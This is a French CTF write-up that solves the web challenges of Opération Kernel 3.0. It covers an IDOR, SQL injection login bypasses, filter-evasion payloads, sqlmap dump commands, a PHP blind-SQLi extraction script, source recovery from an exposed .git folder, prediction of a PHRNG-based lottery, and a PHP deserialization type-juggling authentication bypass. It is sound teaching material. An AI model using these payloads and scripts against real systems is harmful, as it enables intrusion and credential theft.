Writeup des challenges web du CTF Opération Kernel 3.0

AmineLe 14 juillet 2022

Bannière CTF Opération Kernel 3.0

Un CTF d'exception !

Pour célébrer ses 30 ans d'existence, le Commandement des Opérations Spéciales (COS) françaises a choisi d'organiser un évènement en ligne avec deux parties :

  • un Escape Game virtuel orienté grand public qui ne nécessite aucune connaissance technique au préalable
  • un CTF avec des challenges dans les catégories web, forensic, crypto, reverse, pwn, stégano et social engineering

L'Escape Game ne peut que plaire avec la formule jeu Point'n Click, avec une réalisation de qualité (cinématiques, énigmes bien ficelées, thématique cyber, faire partie du COS...) et surtout une manière subtile de sensibiliser au monde de la cybersécurité.

Si vous ne l'avez pas encore fait, foncez sans hésitation ! Escape Game

Votre mission : Membre de l'équipe du COS, vous devez sauver une scientifique d'une prise d'otage dans un hôtel.

Aperçu Escape Game

Quant au CTF, il s'agit classiquement de résoudre des épreuves techniques rapportant un certain nombre de points en fonction de la difficulté. Il se distingue cependant clairement par sa forme et son approche !

En effet, les challenges sont extrêmement bien scénarisés (l'intrigue est étroitement liée à celle de l'Escape Game), vous obligeant ainsi à résoudre certains challenges pour débloquer les challenges suivants et ainsi avancer dans l'histoire.

Vous avais-je dit que les vainqueurs gagnent des sauts en parachute avec le COS ? Bref, un format incroyable qu'on espère voir plus souvent !

Aperçu Escape Game

Dans cet article, on va vous détailler comment résoudre les 9 challenges web de ce CTF. Mettez-vous à l'aise, prenez à boire et suivez le guide !

Liste des challenges web :

  • Research Paper Blog (Facile / 100 points)
  • SQL Project1 (Facile / 100 points)
  • SQL Project2 (Moyen / 200 points)
  • SQL Project3 (Difficile / 200 points)
  • Tenue de soirée requise (Moyen / 200 points)
  • BadPractice (Difficile / 400 points)
  • CCoffe (Difficile / 400 points)
  • Onion Kitten Part 1 (Avancée / 300 points)
  • Onion Kitten Part 2 (Avancée / 300 points)

Research paper blog (Facile / 100 points)

Synopsis :

Nous avons retrouvé l'identité de l'auteure de l'article. Malheureusement nous ne parvenons pas à la localiser.

Cependant, nous avons découvert qu'elle voyage beaucoup pour participer à diverses conférences et elle est certainement en route vers l'une d'elle.

Sur son site, il est fort probable que l'on puisse accéder à certaines informations qui ne sont pas publiques et qui nous permettraient de savoir quelle est sa prochaine destination.

Lien : https://paperblog.challenge.operation-kernel.fr

Ce premier challenge web apparait après avoir résolu un challenge forensic qui consistait à retrouver le nom et le prénom de l'auteure grâce aux métadonnées du PDF.

L'objectif de cette première épreuve web est simple : trouver une information qui n'est pas disponible à première vue sur le blog de Lise MITENER.

Blog de Lise MITENER

Quand on clique sur un article, c'est en réalité un PDF qui est affiché à l'adresse /paper/<identifiant numérique>.

Chemin d'une ressource PDF

Le fait que l'on soit face un identifiant numérique facilement enumérable nous fait directement penser à une IDOR (Insecure Direct Object References). S'il n'y a pas de contrôle d'accès mis en place, il est trivial d'incrémenter l'identifiant des papers jusqu'à arriver sur un article qui n'aurait pas encore été publié sur le blog.

Et c'est ce qui se produit quand on accède au paper 14 : https://paperblog.challenge.operation-kernel.fr/paper/14.

Flag du challenge paperblog

Flag : HACK{Excelsior_Polonium_5E45F6a}


SQL Project1 (Facile / 100 points)

L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus sécurisés de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation...

Vous devez essayer de vous connecter sur le compte admin du site en contournant la sécurité.

Lien : https://secureblog.challenge.operation-kernel.fr/v1/

Cette épreuve fait partie d'une série de trois challenges autour des injections SQL. En allant sur le challenge, on arrive sur le "Awesome Ultra Secure Blog v1" où tout est en construction (comprendre vide) hormis la page d'authentification.

Page d'authentification SQLI 1

On est tenté de se dire qu'on est face au cas classique du ' OR 1=1 -- - permettant de contourner l'authentification et qu'on retrouve dans toutes les cheatsheets SQLi. Et c'est le cas ! Sauf que...

Contournement authentification utilisateur Demo SQLI 1

Nous sommes authentifiés sous le compte demo. Or nous souhaiterions plutôt être connecté sous le compte admin. Si on devait deviner à quoi ressemble la requête SQL qui permet l'authentification sur l'application, elle devrait ressembler à ça :

SELECT login FROM users WHERE login = '$_POST["username"]' AND password = '$_POST["password"]'

Lorsqu'on utilise la payload ' OR 1=1-- -, cela équivaut à :

SELECT login FROM users WHERE login = '' OR 1=1 -- -' AND password = '$_POST["password"]'

Cette requête va retourner toutes les lignes de la table users étant donné que la condition login = '' OR 1=1 sera toujours vraie. Et on commente le reste de la requête SQL avec -- - pour qu'elle ne soit pas prise en compte. Une fois que l'application a récupéré ces résultats, elle va selectionner le premier login... ici, le compte demo.

Le description du challenge nous demande de se connecter en tant qu'un admin, on peut donc essayer la payload admin' -- - ...

Flag SQLi 1

Flag : HACK{B3-C4r3Ful_W1th_AUthentiC4tION}

Pour aller un peu plus loin, de nombreuses payloads sont possibles pour résoudre ce challenge, en voici quelques unes :

' OR 1=1 LIMIT 1,1# permet de sélectionner le résultat suivant en jouant sur l'offset de la clause LIMIT

' OR id = 2#

' OR username LIKE '%admin%' -- x

Question bonus 1 : Pourquoi lorsqu'on utilise le commentaire -- dans les injections SQL, il est nécessaire d'ajouter un espace ?

Réponse

RTFM ! https://dev.mysql.com/doc/refman/5.7/en/comments.html

In MySQL, the -- (double-dash) comment style requires the second dash to be followed by at least one whitespace...


Question bonus 2 : quelle est la payload pour récupérer le flag sans utiliser de commentaire ?

Réponse

Avec la payload suivante : admin' OR '1'='1


SQL Project2 (Moyen / 200 points)

Suite à un incident de sécurité, il n'est pour le moment plus possible de s'authentifier. Veuillez nous excuser pour la gêne occasionnée.

Lien : https://secureblog.challenge.operation-kernel.fr/v2/

Sur cette deuxième version du blog, la page de connexion est désactivée mais des articles sont désormais disponibles !

Page d'accueil SQLI 2

En consultant l'article "Les démons de Wifi" (incroyable la référence musicale <3), on note l'URL qui comporte un paramètre numérique : /v2/post.php?id=3. On essaie tout de suite une injection classique sur le paramètre id avec la payload OR 1=1 -- -.

Blocage injection SQLI 2

Bon, il semblerait que notre injection soit détectée... On pourrait essayer de voir quels sont les caractères ou mots-clés interdits par l'application (ou un WAF) à la main, mais autant écrire un script Python pour le faire à notre place très rapidement :

import requests

to_test = [ "SELECT", "FROM", "AND", "OR", "WHERE", "LIKE", "ALL", "UNION", "ORDER", "BY", "ASC", "DESC"]
to_test += [chr(i) for i in range(128)]
forbidden = []

url = "https://secureblog.challenge.operation-kernel.fr/v2/post.php"
for keyword in to_test:
    params = { "id": keyword }
    r = requests.get(url, params=params)
    if ("has been detected" in r.text):
        forbidden.append(ascii(keyword))

print("Forbidden : " + ' '.join(forbidden))
$> python3 sqli_illegal_str.py
Forbidden : '\t' '\n' '\x0b' '\x0c' '\r' ' ' '"' '#' "'" '-'

On remarque que les espaces et guillemets sont interdits... ainsi que les caractères - et # utilisés pour commenter le reste d'une requête SQL.

En utilisant son moteur de recherche préféré, on cherche une cheatsheet de techniques de contournement contre les filtrages SQL. J'ai utilisé celle de HackTricks.

Un moyen de contournement est l'utilisation d'autres caractères de commentaires permettant de remplacer les espaces : /*COMMENT*/. Le paramètre id de la requête est de type numérique, donc il y a fort à parier que la requête SQL initiale ressemble à ceci :

SELECT * FROM articles WHERE id = 3

Nous n'aurions donc pas besoin d'utiliser les guillemets pour sortir du paramètre id. Faisons deux tests :

https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=3/**/AND/**/1=1/**/ => l'article s'affiche correctement

https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=3/**/AND/**/1=0/**/ => erreur 404

Notre injection n'est pas détectée et fonctionne ! Nous pourrions écrire un script pour automatiser tout ça car nous sommes face à une injection SQL en aveugle (boolean-based)... Mais je suis fainéant et l'outil sqlmap le fait très bien, surtout qu'il embarque des options pratiques dans notres cas. Lançons-le !

$> sqlmap -u 'https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=1' --random-agent --technique=B --tamper=space2comment --threads=4 --ignore-code 401 -T user --dump

Database: challv2
Table: user
[4 entries]
+----+------------------------------------------+----------+
| id | password                                 | username |
+----+------------------------------------------+----------+
| 1  | demo                                     | demo     |
| 2  | St0nnngP444Sw000Rdddd:D!!!!              | test     |
| 3  | HACK{S3cuRE_Y0uR_1nPUt}                  | admin    |
| 4  | Vm91cyB5IGV0ZXMgcHJlc3F1ZSBjb3VyYWdlICEK | Dramelac |
+----+------------------------------------------+----------+

Explications des options utilisés :

  • --random-agent : permet de ne pas envoyer le User-Agent de sqlmap qui est bloqué par les WAFs en utilisant un User-Agent valide aléatoire
  • --technique=B : demande à sqlmap d'utiliser la technique Boolean-Based pour les injections
  • --tamper=space2comment : utilise la technique de remplacement des espaces par des commentaires
  • --threads=4 : utilise 4 connexions simultanées pour accélerer les injections
  • --ignore-code 401 : ne pas arrêter l'exécution de sqlmap lors de réponse avec le code HTTP 401
  • -T user : sélectionner la table user
  • --dump : dumper les données

Et tadaa, on a bien récupéré le flag qui était le mot de passe de l'administrateur.

Flag : HACK{B3-C4r3Ful_W1th_AUthentiC4tION}


SQL Project3 (Difficile / 400 points)

Lien : https://secureblog.challenge.operation-kernel.fr/v3/

Comme sur SQL Project2, nous avons un blog avec des articles, et un filtrage plus strict a ici été effectué sur le paramètre id.

$> curl 'https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=1/**/AND/**/1=1/**/'
ATTACK DETECTED

On modifie légèrement le script que nous avons développé dans SQL Project2 pour lister les caratères et mots-clé interdits :

$> python3 sql_illegal_str.py 
Forbidden : 'SELECT' 'FROM' 'WHERE' 'LIKE' 'UNION' 'ORDER' '\t' '\n' '\x0b' '\x0c' '\r' ' ' '"' '#' "'" '*' '-' '/' '=' '\\'

Ah oui, ça se corse !

  1. Les espaces sont interdits et bye bye la technique de contournement via les commentaires /**/ pour les remplacer.
  2. On ne peut pas utiliser l'opérateur de comparaison =.
  3. Certains mots-clés importants du langage SQL tels quel SELECT et WHERE sont interdits. Même en jouant sur la casse avec par exemple SeLEct, on ne peut pas contourner ce filtrage avec cette technique.

Comment faire alors ? On ressort notre bonne vieille cheatsheet sur le bypass des filtres.

Le premier blocage, celui des espaces, est contournable en entourant les valeurs par des parenthèses, comme ceci :

https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(true) => l'article 1 s'affiche

https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(false) => 404, page not found

On a une première injection qui fonctionne !

Le blocage de l'opérateur de comparaison = se contourne en combinant l'opérateur différent <> et l'opérateur NOT. Les requêtes SQL suivantes sont équivalentes :

SELECT * FROM article WHERE id = 1 AND 1=1

SELECT * FROM article WHERE id = 1 AND NOT(1<>1)

On teste immédiatement sur le blog :

https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(NOT(1<>1)) => article 1 retourné

Reste la restriction sur les mots clés SELECT, UNION, FROM et WHERE qu'on utilise généralement pour récupérer les données des autres tables. Par chance, dans le cas de la requête SQL utilisée pour retrouver les informations d'un article du blog, ce n'est pas nécessaire... *petit suspense*

Nous avions vu que dans les challenges SQL précédents, le flag était stocké dans la colonne password du compte admin. On peut essayer de voir si cette colonne est accessible dans le contexte de la requête SQL effectuée par le blog.

https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(nom_colonne<>42)

Si la colonne nom_colonne n'existe pas ou est inaccessible, la requête SQL sera erronée et le site renverra donc un page 404. Sinon, l'article avec le id=1 s'affichera. Et dans l'exemple ci-dessus, le blog retourne effectivement une page 404...

Page non trouvé SQLI 3

Essayons désormais avec comme nom de colonne password :

https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(password<>42) => l'article 1 est affiché !

Cela signifie que la colonne password est accessible et que nous pouvons potentiellement faire des injections pour récupérer son contenu. Mais, pourquoi la colonne password de la table user est disponible dans la table article ?

Meme jointure SQLI 3

Probalement grâce à l'utilisation d'une jointure. En effet, quand on regarde un article, on voit qu'il y a plusieurs informations qui sont affichées, notamment le nom d'utilisateur de l'auteur. Le développeur aurait très bien pu stocker le nom de l'auteur directement dans la table article, mais ce n'est pas très pratique... Si on devait changer le nom de l'utilisateur, il faudrait mettre à jour toute la table article.

L'utilisation d'une jointure entre la table article et user permet de pallier ce problème. On suppose que la requête ressemble à peu près à ceci :

SELECT *
FROM article
JOIN user ON article.user_id = user.id
WHERE article.id = 1

On peut même le vérifier en utilisant user.password dans notre requête (spoiler alert: ça fonctionne) :

https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(user.password<>42)

Nous avons à peu près tout ce qu'il nous faut pour mener à bien nos injections... Reste à savoir si le flag est vraiment dans la colonne password. Pour cela, on peut vérifier si les 5 premiers caractères de la colonne password sont égaux à la chaine HACK{ :

  • en utilisant la fonction SUBSTRING qui permet d'extraire une sous-chaine
  • comme les guillements sont interdits, on peut utiliser la représentation hexadécimale d'une chaine de caractères : 0x4841434B7B (équivalent de la chaine "HACK{")

https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(0)OR(NOT(SUBSTRING(password,1,5)<>0x4841434B7B))

Résultat sous-chaine flag SQLI 3

Un article nous est retourné ce qui signifie plusieurs choses :

  1. il y a bien un mot de passe qui commence par HACK{
  2. l'article "How I met your locker" (on en parle de ces jeux de mots incroyables ?!) écrit par le compte admin est affiché, c'est son mot de passe qui commence par HACK{

Il nous reste qu'à scripter notre injection en récupérant le contenu de la colonne password caractère par caractère.

Dernière chose avant de s'y mettre, il faut savoir que lorsqu'on compare des chaines avec Mysql, le résultat peut être trompeur en fonction de la collation utilsée lors de la création de la base. Par exemple, si l'encodage de la BDD est utf8_general_ci, la collation ci (case insenstive) signifie que les comparaisons ne sont pas sensibles à la casse et donc la comparaison "hello" = "HELLO sera toujours vraie.

C'est pour cela qu'on utilise la fonction ASCII qui va permettre de comparer le valeur décimale ASCII de chaque caractère et ainsi récupérer la casse exacte du flag :

Script PHP (why not ? déso pas déso aux personnes *triggered*) pour automatiser l'injection SQL :

<?php

$flag = "HACK{";
$chars = range('!', '~');

while(true) {

    shuffle($chars);

    $index = strlen($flag)+1;
    foreach ($chars as $c) {

        $ascii = ord($c);
        $url = "https://secureblog.challenge.operation-kernel.fr";
        $url .= "/v3/post.php?id=(2)AND(NOT(ASCII(SUBSTRING(password,$index,1))<>$ascii))";

        echo "Searching : $flag$c\r";
        if (strpos(@file_get_contents($url), 'How I met your locker') !== false) {
            $flag .= $c;
            break;
        }
    }

    if ($flag[-1] === '}')
        die("Done ! Flag : $flag\n");
}

Flag : HACK{GG_SQLi-M1Ght_B3_Hidden!}

Flag via script SQLI 3

Question bonus : Pourquoi utiliser un shuffle() sur le tableau de caractères à tester ?

Réponse

Les lettres du flag ne sont pas forcément au début de l'alphabet. Il n'y a donc aucun intérêt à les tester dans l'ordre A, B, C... Tester les caractères dans un ordre aléatoire permet de miser sur la chance de l'aléatoire pour gagner du temps. Ici, l'intérêt est relativement limité car le flag n'est pas très long, mais cela peut servir dans des situations où la chaîne de caractères à découvrir est plus longue.


Bonus Hors-Sujet

Gros coup de coeur pour l'effort des personnes qui ont pris le temps de créer ce blog avec autant d'humour. Voici quelques jeux de mot et références incroyables qu'on pouvait lire dans les titres des articles :

  • How I met your locker
  • Les démons de Wifi
  • Maladie informatiquement transmissible
  • Faut pas pousser mémé dans l’azerty
  • Le casse du siècle
  • Indata Jones et la sauvegarde perdue
  • Le formulaire d’authentification contre-attaque
  • Donner ses données les reprendre c’est RGPD
  • Le bon, la brute et le sous-traitant

Tenue de soirée requise (Moyen / 200 points)

Dans le fichier excel, une cible importante est liée à un lien vers une loterie. Cette loterie permet au gagnant d'accéder à une soirée VIP. Nous supposons que la cible sera présente à cet événement.

Nous devons gagner cette loterie afin de pouvoir prendre contact avec elle.

Si nous parvenons à récupérer l'algorithme de génération de la loterie, nous pouvons gagner à coup sûr.

Lien : https://subscription.challenge.operation-kernel.fr/public

Ce challenge fait partie de l'histoire principale où il faut s'infiltrer à une soirée. Pour avoir son billet d'entrée, il faut jouer à une loterie. Après quelques tentatives, il est clair que les probabilités de gagner semblent être infimes pour laisser le hasard faire les choses.

Formulaire loterie tenue de soirée

Le challenge nous suggère de récupérer l'algorithme de la loterie, et pour cela il y a fort à parier qu'il faille récupérer le code source.

En allant sur https://subscription.challenge.operation-kernel.fr/.git/config, nous avons les informations suivantes qui apparaissent :

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[remote "origin"]
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master

Cela signifie que le dossier de versioning a été laissé sur le site. Il va nous permettre de récupérer le code source de l'application grâce à un outil tel que GitHack :

$> python3 GitHack.py https://subscription.challenge.operation-kernel.fr/.git/
...
[OK] app/Http/Middleware/EncryptCookies.php
[OK] app/Http/Controllers/Auth/RegisterController.php
[OK] app/Http/Middleware/CheckForMaintenanceMode.php
[OK] app/Http/Controllers/GameController.php
[OK] app/Http/Controllers/Auth/VerificationController.php
[OK] app/Http/Middleware/VerifyCsrfToken.php
[OK] app/Http/Middleware/TrimStrings.php
[OK] app/Http/Middleware/RedirectIfAuthenticated.php
[OK] app/Process/GameProcess.php
[OK] app/Http/Middleware/TrustProxies.php
[OK] app/Http/Requests/GameRequest.php
...

En analysant le code source, on comprend qu'on a affaire à une application écrite avec le framework Laravel. On s'intéresse directement à la partie loterie du site.

Fichier app/Http/Controllers/GameController.php :

// ...

class GameController extends Controller
{
  public function postForm(GameRequest $request, GameProcess $gameprocess, TicketProcess $ticket){
    $t = $gameprocess->play($_POST['name'], $_POST['number']);
    $data = $t ? $ticket->generate($_POST['name']) : false ;
    return view("result")->with('res', $t)->with('data',$data);
  }
}

La classe GameController est le controller qui va vérifier les données envoyées pour la loterie. Le résultat de la loterie est retourné par l'appel à la méthode $gameprocess->play() qui se trouve dans le fichier app/Process/GameProcess.php.

<?php

namespace App\Process; class GameProcess { private function nmqrF($AvWAj) { goto NMXgZ; kv5ou: p1w0G: goto V_tm7; t4VRF: $tqGDw .= chr(hexdec($AvWAj[$VP0PR] . $AvWAj[$VP0PR + 1])); goto Fdr8h; GMqtF: $VP0PR += 2; goto VhseN; NMXgZ: $tqGDw = ''; goto X18sW; Fdr8h: GT1Ly: goto GMqtF; DZx0E: N4u_P: goto IzKaq; VhseN: goto p1w0G; goto DZx0E; IzKaq: return $tqGDw; goto RySOT; X18sW: $VP0PR = 0; goto kv5ou; V_tm7: if (!($VP0PR < strlen($AvWAj) - 1)) { goto N4u_P; } goto t4VRF; RySOT: } private function wCIA1($WepPf) { goto nf131; nf131: $SXEXN = ''; goto nr2M7; BsNwA: return $SXEXN; goto QOXZt; nr2M7: foreach (str_split($WepPf) as $COwbt) { $SXEXN .= ord($COwbt); WOo5D: } goto tRNjZ; tRNjZ: LQt0G: goto BsNwA; QOXZt: } private function kQzio($FwST2) { goto HUqWd; HUqWd: eval($this->nmqrF("6576616C286261736536345F6465636F646528274A485A50524870454944306764476C745A5367704943306764476C745A536770494355674E54733D2729293B")); goto ANV5w; f4E_x: return $G11Pq; goto ykALq; Yj9IR: $G11Pq = $G11Pq ^ $FwST2; goto f4E_x; ANV5w: $FwST2 = $FwST2 ^ $vODzD; goto KrQAb; hoFT1: $G11Pq = mt_rand(); goto Yj9IR; KrQAb: mt_srand($FwST2); goto hoFT1; ykALq: } public function play($su92R, $nmBvo) { goto u1lv6; xC0KB: return false; goto TeXZe; XU62G: return true; goto HquGL; HquGL: GxqFf: goto xC0KB; e4Wxp: $kx4Dd = $this->kQzio($FwST2); goto JYFjT; u1lv6: $FwST2 = $this->wCIA1($su92R); goto e4Wxp; JYFjT: if (!(intval($kx4Dd) === intval($nmBvo))) { goto GxqFf; } goto XU62G; TeXZe: } }

Meme confus tenue de soirée

Oula ! Il semblerait que ce fichier soit obfusqué avec des noms de variables incompréhensibles et des goto dans tous les sens... Il est possible de démêler tout ce code à la main, mais autant utiliser un outil qui le ferait pour nous : PHPDeobfuscator.

$> php index.php -f GameProcess.php > GameProcess_readable.php

L'analyse du code source peut commencer :

<?php

namespace App\Process;

class GameProcess
{
    private function nmqrF($AvWAj)
    {
        $tqGDw = '';
        $VP0PR = 0;
        p1w0G:
        if (!($VP0PR < strlen($AvWAj) - 1)) {
            return $tqGDw;
        }
        $tqGDw .= chr(hexdec($AvWAj[$VP0PR] . $AvWAj[$VP0PR + 1]));
        $VP0PR += 2;
        goto p1w0G;
    }
    private function wCIA1($WepPf)
    {
        $SXEXN = '';
        foreach (str_split($WepPf) as $COwbt) {
            $SXEXN .= ord($COwbt);
        }
        return $SXEXN;
    }
    private function kQzio($FwST2)
    {
        eval($this->nmqrF("6576616C286261736536345F6465636F646528274A485A50524870454944306764476C745A5367704943306764476C745A536770494355674E54733D2729293B"));
        $FwST2 ^= $vODzD;
        mt_srand($FwST2);
        $G11Pq = mt_rand();
        $G11Pq ^= $FwST2;
        return $G11Pq;
    }
    public function play($su92R, $nmBvo)
    {
        $FwST2 = $this->wCIA1($su92R);
        $kx4Dd = $this->kQzio($FwST2);
        if (!(intval($kx4Dd) === intval($nmBvo))) {
            return false;
        }
        return true;
    }
}

Ce fichier n'est pas encore assez clair à mon goût, du coup on va encore le remanier en supprimant le code inutile, le simplifier au maximum et donner des noms plus parlants aux méthodes et aux variables :

<?php

class GameProcess
{
    private function stringToAsciiCode($str)
    {
        $res = '';
        foreach (str_split($str) as $char) {
            $res .= ord($char);
        }
        return $res;
    }

    private function genFakeRand($value)
    {
        eval('$time = time() - time() % 5;');
        $value ^= $time;
        mt_srand($value);
        $rand = mt_rand();
        $rand ^= $value;
        return $rand;
    }

    public function play($name, $number)
    {
        $name_ascii = $this->stringToAsciiCode($name);
        $rand_val = $this->genFakeRand($name_ascii);
        if (!(intval($rand_val) === intval($number))) {
            return false;
        }
        return true;
    }
}

Voilà qui est bien mieux ! On en déduit ainsi l'algorithme de loterie qui est le suivant :

  • le nom envoyé via $_POST['name'] est transformé en code ASCII et stocké dans la variable $name_ascii (par exemple 'ABC' devient '656667')
  • $name_ascii est utilisé dans la méthode genFakeRand() pour initialiser le générateur de nombre aléatoire. $name_ascii est couplé avec la valeur $time correspondant à un timestamp qui change toutes les 5 secondes ($time = time() - time() % 5;)
  • si la valeur $rand_val retournée par la méthode genFakeRand() est égale à la valeur $number envoyée par l'utilisateur via $_POST['number'], alors on a remporté la loterie.

On créé une méthode getRand() similaire à la méthode play() mais qui retourne uniquement la valeur $rand_val. Cela va nous permettre de copier la valeur retournée par notre script et devenir le pro du ALT+TAB en collant cette valeur en moins de 5 secondes dans le formulaire.

<?php

class GameProcess
{
    private function stringToAsciiCode($str)
    {
        $res = '';
        foreach (str_split($str) as $char) {
            $res .= ord($char);
        }
        return $res;
    }

    private function genFakeRand($value)
    {
        eval('$time = time() - time() % 5;');
        $value ^= $time;
        mt_srand($value);
        $rand = mt_rand();
        $rand ^= $value;
        return $rand;
    }

    public function getRand($name)
    {
        $name_ascii = $this->stringToAsciiCode($name);
        $rand_val = $this->genFakeRand($name_ascii);
        return $rand_val;
    }
}

$game_process = new GameProcess();

$rand_val = 0;
while (true) {
    $new_rand = $game_process->getRand('Maaaaaaaaaarc');
    if ($new_rand !== $rand_val) {
        $rand_val = $new_rand;
        echo "$rand_val\n";
    }
}

Après quelques tentatives, on finit par gagner la loterie et on récupère le code QR qui contient le flag.

Démonstration de mon skill clavier/souris après des années d'expérience sur CS 1.6 :

Résolution de la loterie

Flag : HACK{Y0uC4nNowG0toE4t}_Maaaaaaaaaarc


BadPractice (Difficile / 400 points)

Même les hackers ont besoin de faire de la gestion de projet ! Ce site internet semble suivre l'avancée globale de leur mission. A vous de trouver le plus d'informations possibles.

Vous devez vous connecter à ce site avec un compte privilégié.

Lien : https://practice.challenge.operation-kernel.fr/

Dashboard BadPractice

On fait face à une application qui permet de créer un compte temporaire sur une application de type dashboard le temps d'une démonstration. Dans le formulaire de création de compte, il y a l'option "remember me" pour rester connecté indéfiniment sur l'application, même si la session expire :

Dashboard BadPractice

On remarque que cocher cette case génère les cookies suivants :

Set-Cookie: PHPSESSID=pm9sonh3vubbqlflcd2lm2ldlp; path=/; secure
Set-Cookie: remember=YTozOntzOjg6InVzZXJuYW1lIjtzOjU6InBvdWV0IjtzOjg6InBhc3N3b3JkIjtzOjY0OiI4MTk5MzY0NjRiYzI0NmNiOWY1MzNkZDUxMGQ3MjlmZjA3ZjhiODU4OTBjNTI5ZWYyNmI0ZDY3MzMyMjIzNzA0IjtzOjQ6InJvbGUiO3M6NDoiRGVtbyI7fQ%3D%3D

Tout de suite on remarque qu'il n'y a pas les flags HttpOnly dans les cookies et que c'est complètement inadmissible ! *Spoiler : ça ne servira à rien pour ce challenge...*

Mon oeil affuté de hacker me permet surtout de remarquer, sans même utiliser la recette magic de CyberChef, que le cookie remember semble être encodé en base64. On décode ça vite fait bien fait pour voir si son contenu est intéressant:

$> echo -n "YTozOntzOjg6InVzZXJuYW1l<...>6InJvbGUiO3M6NDoiRGVtbyI7fQ==" | base64 -d
a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}

Ce format... cette syntaxe... serait-ce possible... Oui oui oui, un objet PHP sérialisé ! Et pas la peine d'arrêter la lecture parce que vous avez vu le mot PHP ; PHP > all.

Comme dans pas mal de langages de programmation, il est possible d'exporter une variable en un format stockable assez simple pour l'importer ultérieurement. En PHP, cela passe par les fonctions serialize() et unserialize(). Quel est le contenu de la chaine une fois désérialisé ?

$> php -a
Interactive mode enabled

php > $remember = unserialize('a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}');
php > var_dump($remember);
array(3) {
  ["username"]=>
  string(5) "pouet"
  ["password"]=>
  string(64) "819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704"
  ["role"]=>
  string(4) "Demo"
}

La désérialisation nous a retourné un tableau avec trois clés :

  • username : le nom de compte utilisé pour la connexion à l'application
  • password : le mot de passe hashé en SHA-256. Note: un bon HackTheBox est offert à la première personne qui nous contacte sur twitter avec le mot de passe en clair
  • role : le niveau de profil de l'utilisateur

Quand on est face aux vulnérabilités liées à la désérialisation, on pense à certaines pistes telles que l'exécution de code, la manipulation des données (comme le fait de mettre le rôle à admin), etc... Mais cela ne semble pas être l'objectif de ce challenge.

En fuzzant un peu sur les variables, on peut par exemple essayer de modifier le type de password, sérialiser notre variable, l'encoder en base64, la réinjecter dans le cookie remember et voir le monde exploser ce qui va se passer :

$> php -a
Interactive mode enabled

php > $remember = unserialize('a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}');
php > // plein de tests sur les types
php > // ...
php >
php > // password est désormais un booléen
php > $remember["password"] = true;
php > echo serialize($remember);
a:3:{s:8:"username";s:5:"pouet";s:8:"password";b:1;s:4:"role";s:4:"Demo";}
php > 
php > // password est désormais un tableau
php > $remember["password"] = [];
php > echo serialize($remember);
a:3:{s:8:"username";s:5:"pouet";s:8:"password";a:0:{}s:4:"role";s:4:"Demo";}

Lorsque password est sérialisé en tant que booléen true, l'application n'accepte pas notre cookie remember et on est redirigé vers une page d'erreur :

Erreur login BadPractice

Mais quand password est un tableau, on s'authentifie avec succès à notre compte !

Meme confused BadPractice

Pourquoi ce changement de type a permis le contournement de l'authentification ? Pour le comprendre, il faut essayer d'imaginer le code de l'application :

<?php

$remember = unserialize(base64_decode($_COOKIE["remember"]));

$user_info = getUser($remember["username"]); // on récupére les informations concernant notre compte depuis une BDD, LDAP, peu importe...

if (strcmp($user_info["password"], $remember["password"]) == 0) {
  // mots de passe identiques
}
else {
  // mot de passe incorrect
}

Dans ce code supposé de l'application concernant l'authentification, le password envoyé via notre objet sérialisé est comparé au mot de passe réel de l'utilisateur grâce à la fonction strcmp(). Cette fonction retourne 0 si les deux chaines sont identiques. Mais que retourne-t-elle quand les deux paramètres sont de type différents ?

$> php -a
Interactive mode enabled

php > var_dump(strcmp("819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704", []));
PHP Warning:  strcmp() expects parameter 2 to be string, array given in php shell code on line 1
NULL

On a un avertissement qui nous informe que le deuxième paramètre, celui qu'on a envoyé via notre objet sérialisé, est un tabeau au lieu d'une chaine de caractères. Et la fonction strcmp() nous retourne alors NULL.

Et si NULL == 0 ... bienvenue dans le monde magnifique du "loose comparaison" !

$> php -a
Interactive mode enabled

php > var_dump(NULL == 0);
bool(true)

L'opérateur == en PHP n'est pas très strict, il est même très souple. Cela est d'ailleurs très bien illustré dans la documentation officielle ("Loose comparisons with ==") avec ce tableau résumant les comparaisons entre types :

Tableau comparaison types PHP BadPractice

Ce tableau explique que si on utilise l'opérateur == pour comparer NULL avec le booléen false, l'entier 0, une chaine vide ou encore un tableau, le résultat sera toujours true !

Là on se dit que c'est plié, on va flag le challenge sous 30 secondes maintenant car il suffit de se connecte avec l'utilisateur admin en mettant à jour notre objet sérialisé.

On est effectivement bien connecté sur l'application ! Mais c'est un compte temporaire... N'importe qui pouvait créer un compte admin (bravo les trolls !). Il fallait en réalité trouver le nom d'utilisateur du vrai administrateur qui se trouvait dans la page de contact.

Formulaire de contact BadPractice

Cette fois-ci, ça devrait être bon ! On a le nom d'utilisateur Aku, allons gentillement nous connecter.

Formulaire de contact BadPractice

Toujours pas ! On a l'erreur "Incorrect username or password" alors qu'on est sûr que notre méthode pour contourner l'authentification fonctionne.

